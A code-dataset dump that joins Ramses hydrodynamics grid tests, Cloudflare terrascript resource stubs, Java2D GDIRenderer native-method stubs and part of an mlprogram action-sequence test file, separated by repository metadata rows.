grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() ybound = instance.get_boundary_grid('ybound2') self.assertEquals(ybound.shape, (4+4,2,4)) memybound = ybound.copy() memybound.rho = 0.02 | density memybound.rhovx = 0.0 | momentum memybound.rhovy = -0.2 | momentum memybound.rhovz = 0.0 | momentum memybound.energy = p / (gamma - 1) memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho channel = memybound.new_channel_to(ybound) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) print instance.stopping_conditions.number_of_steps_detection.is_set() print instance.grid.rho[0,...,0] rho = instance.grid.rho[0,...,0] self.assertAlmostRelativeEquals(rho[0], 0.01 | density) self.assertTrue(rho[-1] > 0.01 | density) self.assertTrue(instance.grid.rhovy[0,-1,0] < 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovy[0,0,0] , -0.1 | momentum) print instance.model_time instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) rho = instance.grid.rho[0,...,0] self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovy[0,...,0], -0.2 | momentum, 8) print instance.model_time instance.stop() def xtest10(self): instance=self.new_instance(Ramses, number_of_workers = 1) #instance.set_parallel_decomposition(2,1,1) instance.parameters.mesh_size = (4,4,10) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("periodic", "periodic") instance.parameters.y_boundary_conditions = ("periodic", "periodic") instance.parameters.z_boundary_conditions = ("interface", "outflow") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((4,4,10), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.0 | momentum grid.rhovy = 0.0 | momentum grid.rhovz = 0.1 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() ybound = instance.get_boundary_grid('zbound1') self.assertEquals(ybound.shape, (4+4,4+4,2)) memybound = ybound.copy() memybound.rho = 0.02 | density memybound.rhovx = 0.0 | momentum memybound.rhovy = 0.0 | momentum memybound.rhovz = 0.2 | momentum memybound.energy = p / (gamma - 1) memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho channel = memybound.new_channel_to(ybound) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set()) rho = instance.grid.rho[0,0,...] print rho self.assertAlmostRelativeEquals(rho[-1], 0.01 | density) self.assertTrue(rho[0] > 0.01 | density) self.assertTrue(instance.grid.rhovz[0,0,0] > 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,-1] , 0.1 | momentum) print instance.model_time instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) rho = instance.grid.rho[0,0,...] self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovz[0,...,0], 0.2 | momentum, 8) print instance.model_time instance.stop() def xtest11(self): instance=self.new_instance(Ramses, number_of_workers = 2) instance.set_parallel_decomposition(2,1,1) instance.parameters.mesh_size = (4,4,10) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("periodic", "periodic") instance.parameters.y_boundary_conditions = ("periodic", "periodic") instance.parameters.z_boundary_conditions = ("outflow", "interface") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((4,4,10), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.0 | momentum grid.rhovy = 0.0 | momentum grid.rhovz = -0.10 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() ybound = instance.get_boundary_grid('zbound2') self.assertEquals(ybound.shape, (4+4,4+4,2)) memybound = ybound.copy() memybound.rho = 0.02 | density memybound.rhovx = 0.0 | momentum memybound.rhovy = 0.0 | momentum memybound.rhovz = -0.2 | momentum memybound.energy = p / (gamma - 1) memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho channel = memybound.new_channel_to(ybound) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set()) rho = instance.grid.rho[0,0,...] self.assertAlmostRelativeEquals(rho[0], 0.01 | density) self.assertTrue(rho[-1] > 0.01 | density) self.assertTrue(instance.grid.rhovz[0,0,-1] < 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,0] , -0.1 | momentum) print instance.model_time instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) rho = instance.grid.rho[0,0,...] self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,...], -0.2 | momentum, 8) print instance.model_time instance.stop() def xtest12(self): instance=self.new_instance(Ramses) instance.parameters.x_boundary_conditions = ("periodic","periodic") instance.parameters.y_boundary_conditions = ("periodic","periodic") instance.parameters.z_boundary_conditions = ("periodic","periodic") instance.parameters.mesh_length = (20.0, 1, 1) | generic_unit_system.length instance.parameters.mesh_size = (20, 2, 2) for x in instance.itergrids(): inmem = x.copy() inmem.rho = inmem.x/(1| generic_unit_system.length) | generic_unit_system.density inmem.rhovx = 0.0 | generic_unit_system.momentum_density inmem.energy = 1.0 | generic_unit_system.energy_density from_model_to_code = inmem.new_channel_to(x) from_model_to_code.copy() print inmem.rho rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.0| generic_unit_system.length,0.0| generic_unit_system.length) self.assertEquals(rho , 0.5 | generic_unit_system.density) for value in numpy.arange(0.5, 19.6, 0.1): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( value | generic_unit_system.length, 0.5 | generic_unit_system.length, 0.5 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density) for value in numpy.arange(0.0, 0.6, 0.1): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( value | generic_unit_system.length, 0.0 | generic_unit_system.length, 0.0 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , ((0.5 + value) * 0.5 + (0.5-value) * 19.5) | generic_unit_system.density) for value in numpy.arange(0.0, 0.5, 0.1): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( value + 19.5| generic_unit_system.length, 0.0 | generic_unit_system.length, 0.0 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , (19.5 - (value * 19)) | generic_unit_system.density, 9) # out of range rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( 20.0| generic_unit_system.length, 0.0 | generic_unit_system.length, 0.0 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , 0.0 | generic_unit_system.density, 9) def xtest13(self): instance=self.new_instance(Ramses, number_of_workers=2) instance.parameters.x_boundary_conditions = ("periodic","periodic") instance.parameters.y_boundary_conditions = ("periodic","periodic") instance.parameters.y_boundary_conditions = ("periodic","periodic") instance.parameters.mesh_length = (20.0, 20.0, 4) | generic_unit_system.length instance.parameters.mesh_length = (20.0, 20.0, 4) | generic_unit_system.length instance.parameters.mesh_size = (20, 20, 2) for x in instance.itergrids(): inmem = x.copy() inmem.rho = (inmem.x + ((inmem.y - (0.5| generic_unit_system.length))* 20.0))/(1| generic_unit_system.length) | generic_unit_system.density inmem.rhovx = 0.0 | generic_unit_system.momentum_density inmem.energy = 1.0 | generic_unit_system.energy_density from_model_to_code = inmem.new_channel_to(x) from_model_to_code.copy() print inmem.rho[0], inmem.y[0], inmem.x[0] rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.5| generic_unit_system.length,0.0| generic_unit_system.length) self.assertEquals(rho , 0.5 | generic_unit_system.density) for value in numpy.arange(0.5, 19.6, 0.1): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( value | generic_unit_system.length, 0.5 | generic_unit_system.length, 0.0 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density) for x in numpy.arange(8.5, 11.5, 0.25): for y in numpy.arange(0.5, 19.6, 0.25): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( x | generic_unit_system.length, y | generic_unit_system.length, 0.0 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , x + (20 * (y-0.5)) | generic_unit_system.density) def xtest14(self): instance=self.new_instance(Ramses, number_of_workers=3) instance.parameters.x_boundary_conditions = ("periodic","periodic") instance.parameters.y_boundary_conditions = ("periodic","periodic") instance.parameters.z_boundary_conditions = ("periodic","periodic") instance.parameters.mesh_length = (20.0, 20.0, 20.0) | generic_unit_system.length instance.parameters.mesh_length = (20.0, 20.0, 20.0) | generic_unit_system.length instance.parameters.mesh_size = (20, 20, 20) for x in instance.itergrids(): inmem = x.copy() inmem.rho = ( ( inmem.x + ((inmem.y - (0.5| generic_unit_system.length))* 20.0) + ((inmem.z - (0.5| generic_unit_system.length))* 400.0) ) /(1| generic_unit_system.length) | generic_unit_system.density ) inmem.rhovx = 0.0 | generic_unit_system.momentum_density inmem.energy = 1.0 | generic_unit_system.energy_density from_model_to_code = inmem.new_channel_to(x) from_model_to_code.copy() rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.5| generic_unit_system.length,0.5| generic_unit_system.length) self.assertEquals(rho , 0.5 | generic_unit_system.density) for value in numpy.arange(0.5, 19.6, 0.1): rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( value | generic_unit_system.length, 0.5 | generic_unit_system.length, 0.5 | generic_unit_system.length ) self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density) sample = datamodel.new_regular_grid( (4, 4, 76), (2, 2, 19) | generic_unit_system.length ) sample.x += 9.5 | generic_unit_system.length sample.y += 9.5 | generic_unit_system.length sample.z += 0.5 | generic_unit_system.length x = sample.x.flatten() y = sample.y.flatten() z = sample.z.flatten() rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point( x, y, z ) half = 0.5 | generic_unit_system.length self.assertAlmostRelativeEquals(rho , (x + (20 * (y-half)) + (400 * (z-half)))/(1| generic_unit_system.length) | generic_unit_system.density ) def xtest15(self): instance=self.new_instance(Ramses, number_of_workers = 1) self.assertAlmostRelativeEquals(instance.parameters.gamma, 5.0 / 3.0) instance.parameters.gamma = 1.2 self.assertAlmostRelativeEquals(instance.parameters.gamma, 1.2) #self.assertAlmostRelativeEquals(instance.parameters.timestep, 0.1 | generic_unit_system.time) #instance.parameters.timestep = 0.2 | generic_unit_system.time #self.assertAlmostRelativeEquals(instance.parameters.timestep, 0.2 | generic_unit_system.time)

43.722189

176

0.574745

8,867

73,497

4.615766

0.028758

0.056172

0.08598

0.047205

0.927629

0.905957

0.876588

0.846829

0.838204

0.812671

0

0.056578

0.304761

73,497

1,680

177

43.748214

0.744393

0.017443

0

0.729437

0

0.022924

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0.221501

0

null

0

0.007215

null

0.025974

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null

0

1

0

1

0

null

0

1

0

8

5a83c1ce3558010f7fde31cc0ac1169ef6edc55d

1,932

py

Python

terrascript/cloudflare/r.py

amlodzianowski/python-terrascript

1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49

[ "BSD-2-Clause" ]

null

terrascript/cloudflare/r.py

amlodzianowski/python-terrascript

1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49

[ "BSD-2-Clause" ]

null

terrascript/cloudflare/r.py

amlodzianowski/python-terrascript

1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49

[ "BSD-2-Clause" ]

null

# terrascript/cloudflare/r.py import terrascript class cloudflare_access_application(terrascript.Resource): pass class cloudflare_access_policy(terrascript.Resource): pass class cloudflare_access_group(terrascript.Resource): pass class cloudflare_access_rule(terrascript.Resource): pass class cloudflare_access_service_token(terrascript.Resource): pass class cloudflare_account_member(terrascript.Resource): pass class cloudflare_argo(terrascript.Resource): pass class cloudflare_custom_pages(terrascript.Resource): pass class cloudflare_custom_ssl(terrascript.Resource): pass class cloudflare_filter(terrascript.Resource): pass class cloudflare_firewall_rule(terrascript.Resource): pass class cloudflare_load_balancer_monitor(terrascript.Resource): pass class cloudflare_load_balancer_pool(terrascript.Resource): pass class cloudflare_load_balancer(terrascript.Resource): pass class cloudflare_logpush_job(terrascript.Resource): pass class cloudflare_origin_ca_certificate(terrascript.Resource): pass class cloudflare_page_rule(terrascript.Resource): pass class cloudflare_rate_limit(terrascript.Resource): pass class cloudflare_record(terrascript.Resource): pass class cloudflare_spectrum_application(terrascript.Resource): pass class cloudflare_waf_group(terrascript.Resource): pass class cloudflare_waf_package(terrascript.Resource): pass class cloudflare_waf_rule(terrascript.Resource): pass class cloudflare_worker_route(terrascript.Resource): pass class cloudflare_worker_script(terrascript.Resource): pass class cloudflare_workers_kv_namespace(terrascript.Resource): pass class cloudflare_zone_lockdown(terrascript.Resource): pass class cloudflare_zone_settings_override(terrascript.Resource): pass class cloudflare_zone(terrascript.Resource): pass

16.1

62

0.800207

211

1,932

7.042654

0.232227

0.292732

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0.527591

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0

0.137681

1,932

119

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0.491525

0.016949

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0

null

1

0

null

0

1

0

1

0

7

ce6ff6e49d36d87adce9958bcc54576541be77ab

6,279

py

Python

pava/implementation/natives/sun/java2d/windows/GDIRenderer.py

laffra/pava

54d10cf7f8def2f96e254c0356623d08f221536f

[ "MIT" ]

4

2017-03-30T16:51:16.000Z

2020-10-05T12:25:47.000Z

pava/implementation/natives/sun/java2d/windows/GDIRenderer.py

laffra/pava

54d10cf7f8def2f96e254c0356623d08f221536f

[ "MIT" ]

null

pava/implementation/natives/sun/java2d/windows/GDIRenderer.py

laffra/pava

54d10cf7f8def2f96e254c0356623d08f221536f

[ "MIT" ]

null

def add_native_methods(clazz): def doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10): raise NotImplementedError() def doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10): raise NotImplementedError() def doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10): raise NotImplementedError() def doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10): raise NotImplementedError() def doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10): raise NotImplementedError() def doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9): raise NotImplementedError() def doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__(a0, a1, a2, a3, a4, a5, a6, a7, a8): raise NotImplementedError() def devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7): raise NotImplementedError() clazz.doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ clazz.doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ clazz.doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ clazz.doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ clazz.doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ clazz.doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__ = doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__ clazz.doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ clazz.doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ clazz.doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ clazz.doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ clazz.doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__ = doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__ clazz.doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__ = doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__ clazz.devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__ = devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__

114.163636

305

0.898551

874

6,279

5.200229

0.051487

0.241584

0.285149

0.277228

0.979538

0.978438

0

0.035897

0.068323

6,279

54

306

116.277778

0.741026

0

0.325

0

1

0.35

false

0

0.35

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null

1

0

1

0

null

0

1

0

11

cec5fba01702ea5a83ce0ef16109cf9b72e1cff9

21,589

py

Python

test/mlprogram/transforms/test_action_sequence.py

HiroakiMikami/mlprogram

573e94c567064705fa65267dd83946bf183197de

[ "MIT" ]

9

2020-05-24T11:25:01.000Z

2022-03-28T15:32:10.000Z

test/mlprogram/transforms/test_action_sequence.py

HiroakiMikami/mlprogram

573e94c567064705fa65267dd83946bf183197de

[ "MIT" ]

87

2020-05-09T08:56:55.000Z

2022-03-31T14:46:45.000Z

test/mlprogram/transforms/test_action_sequence.py

HiroakiMikami/NL2Prog

573e94c567064705fa65267dd83946bf183197de

[ "MIT" ]

3

2021-02-22T20:38:29.000Z

2021-11-11T18:48:44.000Z

import numpy as np import pytest from mlprogram.builtins import Environment from mlprogram.encoders import ActionSequenceEncoder from mlprogram.languages import Field, Leaf, Node, Parser, Token from mlprogram.transforms.action_sequence import ( AddActions, AddActionSequenceAsTree, AddPreviousActionRules, AddPreviousActions, AddQueryForTreeGenDecoder, AddState, EncodeActionSequence, GroundTruthToActionSequence, ) from mlprogram.utils.data import ListDataset, get_samples class MockParser(Parser[str]): def parse(self, code: str): ast = Node("Assign", [Field("name", "Name", Node("Name", [Field("id", "str", [Leaf("str", "x")])])), Field("value", "expr", Node("Op", [ Field("op", "str", [Leaf("str", "+")]), Field("arg0", "expr", Node("Name", [Field("id", "str", [Leaf("str", "y")])])), Field("arg1", "expr", Node("Number", [ Field("value", "number", [Leaf("number", "1")]) ]))] ))]) return ast class MockParserWithoutVariadicArgs(Parser[str]): def parse(self, code): ast = Node("Assign", [Field("name", "Name", Node("Name", [Field("id", "str", Leaf("str", "x"))])), Field("value", "expr", Node("Op", [ Field("op", "str", Leaf("str", "+")), Field("arg0", "expr", Node("Name", [Field("id", "str", Leaf("str", "y"))])), Field("arg1", "expr", Node("Number", [ Field("value", "number", Leaf("number", "1"))]))] ))]) return ast class TestGroundTruthToActionSequence(object): def test_simple_case(self): transform = GroundTruthToActionSequence(MockParser()) action_sequence = transform(ground_truth="y = x + 1") assert action_sequence.head is None class TestEncodeActionSequence(object): def test_simple_case(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( ground_truth="y = x + 1" ) transform = EncodeActionSequence(aencoder) ground_truth = transform( action_sequence=action_sequence, reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], ) assert np.array_equal( [ [3, -1, -1], [4, -1, -1], [-1, 1, -1], [1, -1, -1], [5, -1, -1], [-1, 2, -1], [1, -1, -1], [4, -1, -1], [-1, 3, -1], [1, -1, -1], [6, -1, -1], [-1, 4, -1], [1, -1, -1] ], ground_truth.numpy() ) def test_impossible_case(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) d.tokens = [("", "y"), ("", "1")] aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( ground_truth="y = x + 1" ) transform = EncodeActionSequence(aencoder) with pytest.raises(RuntimeError): transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, ) class TestAddPreviousActions(object): def test_simple_case(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) transform = AddPreviousActions(aencoder) action_sequence = GroundTruthToActionSequence(MockParser())( "y=x+1" ) prev_action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=True ) assert np.array_equal( [ [2, -1, -1], [3, -1, -1], [4, -1, -1], [-1, 1, -1], [1, -1, -1], [5, -1, -1], [-1, 2, -1], [1, -1, -1], [4, -1, -1], [-1, 3, -1], [1, -1, -1], [6, -1, -1], [-1, 4, -1] ], prev_action_tensor.numpy() ) def test_eval(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) transform = AddPreviousActions(aencoder) prev_action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=False ) assert np.array_equal( [ [2, -1, -1], [3, -1, -1], [4, -1, -1], [-1, 1, -1], [1, -1, -1], [5, -1, -1], [-1, 2, -1], [1, -1, -1], [4, -1, -1], [-1, 3, -1], [1, -1, -1], [6, -1, -1], [-1, 4, -1], [1, -1, -1] ], prev_action_tensor.numpy() ) def test_n_dependent(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) transform = AddPreviousActions(aencoder, n_dependent=2) prev_action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=False ) assert np.array_equal( [[-1, 4, -1], [1, -1, -1]], prev_action_tensor.numpy() ) def test_impossible_case(self): entries = [Environment( {"ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) d.tokens = [("", "y"), ("", "1")] aencoder = ActionSequenceEncoder(d, 0) transform = AddPreviousActions(aencoder) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) with pytest.raises(RuntimeError): transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=True ) class TestAddActions(object): def test_simple_case(self): entries = [Environment( {"text_query": "foo bar", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) transform = AddActions(aencoder) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=True ) assert np.array_equal( [ [2, 2, 0], [4, 3, 1], [6, 4, 2], [6, 4, 2], [5, 3, 1], [6, 5, 5], [6, 5, 5], [5, 5, 5], [6, 4, 8], [6, 4, 8], [5, 5, 5], [9, 6, 11], [9, 6, 11] ], action_tensor.numpy() ) def test_eval(self): entries = [Environment( {"text_query": "foo bar", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) transform = AddActions(aencoder) action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=False ) assert np.array_equal( [ [2, 2, 0], [4, 3, 1], [6, 4, 2], [6, 4, 2], [5, 3, 1], [6, 5, 5], [6, 5, 5], [5, 5, 5], [6, 4, 8], [6, 4, 8], [5, 5, 5], [9, 6, 11], [9, 6, 11], [-1, -1, -1] ], action_tensor.numpy() ) def test_n_dependent(self): entries = [Environment( {"text_query": "foo bar", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) aencoder = ActionSequenceEncoder(d, 0) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) transform = AddActions(aencoder, n_dependent=2) action_tensor = transform( reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")], action_sequence=action_sequence, train=False ) assert np.array_equal( [[9, 6, 11], [-1, -1, -1]], action_tensor.numpy() ) def test_impossible_case(self): entries = [Environment( {"text_query": "foo bar", "ground_truth": "y = x + 1"}, set(["ground_truth"]) )] dataset = ListDataset(entries) d = get_samples(dataset, MockParser()) d.tokens = [("", "y"), ("", "1")] aencoder = ActionSequenceEncoder(d, 0) transform = AddActions(aencoder) action_sequence = GroundTruthToActionSequence(MockParser())( "y = x + 1" ) with pytest.raises(RuntimeError): transform( 